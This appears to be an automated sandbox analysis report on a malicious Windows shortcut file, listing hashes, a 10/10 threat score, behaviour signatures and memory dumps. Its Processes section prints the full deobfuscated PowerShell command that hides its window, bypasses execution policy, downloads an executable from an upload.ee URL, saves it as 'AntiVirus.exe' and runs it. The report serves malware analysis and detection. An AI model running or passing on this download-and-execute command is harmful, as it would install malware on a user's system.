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Analysis

  • max time kernel
    92s
  • max time network
    94s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/09/2024, 00:09

General

  • Target

    ff8cc167467fafc1789656bdab467de8_JaffaCakes118.lnk

  • Size

    1KB

  • MD5

    ff8cc167467fafc1789656bdab467de8

  • SHA1

    ff3f3d924012dbd249dc8cf4e9c33fa2bc5be614

  • SHA256

    d459b471566d70ba7b2b12b4caa8db1def229f69351b6418df9a52b769201005

  • SHA512

    22932482f0966c9469e9c701b0acd4852d943d6aac08358c6a7996fbe1471f5e4b3bd140da57a0374b39f7f06f07abf662583261522c118774dc3ee361069bad

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://www.upload.ee/download/7435588/411c441150c712390a6f/server.exe

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\ff8cc167467fafc1789656bdab467de8_JaffaCakes118.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2480
    • C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://www.upload.ee/download/7435588/411c441150c712390a6f/server.exe','C:\Users\Admin\AppData\Local\Temp\AntiVirus.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\AntiVirus.exe'
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4736

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yqb0k1w1.d5b.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4736-2-0x00007FFC19133000-0x00007FFC19135000-memory.dmp

    Filesize

    8KB

  • memory/4736-9-0x0000020DE1B00000-0x0000020DE1B22000-memory.dmp

    Filesize

    136KB

  • memory/4736-13-0x00007FFC19130000-0x00007FFC19BF1000-memory.dmp

    Filesize

    10.8MB

  • memory/4736-14-0x00007FFC19130000-0x00007FFC19BF1000-memory.dmp

    Filesize

    10.8MB

  • memory/4736-15-0x00007FFC19130000-0x00007FFC19BF1000-memory.dmp

    Filesize

    10.8MB

  • memory/4736-16-0x00007FFC19130000-0x00007FFC19BF1000-memory.dmp

    Filesize

    10.8MB

  • memory/4736-19-0x00007FFC19130000-0x00007FFC19BF1000-memory.dmp

    Filesize

    10.8MB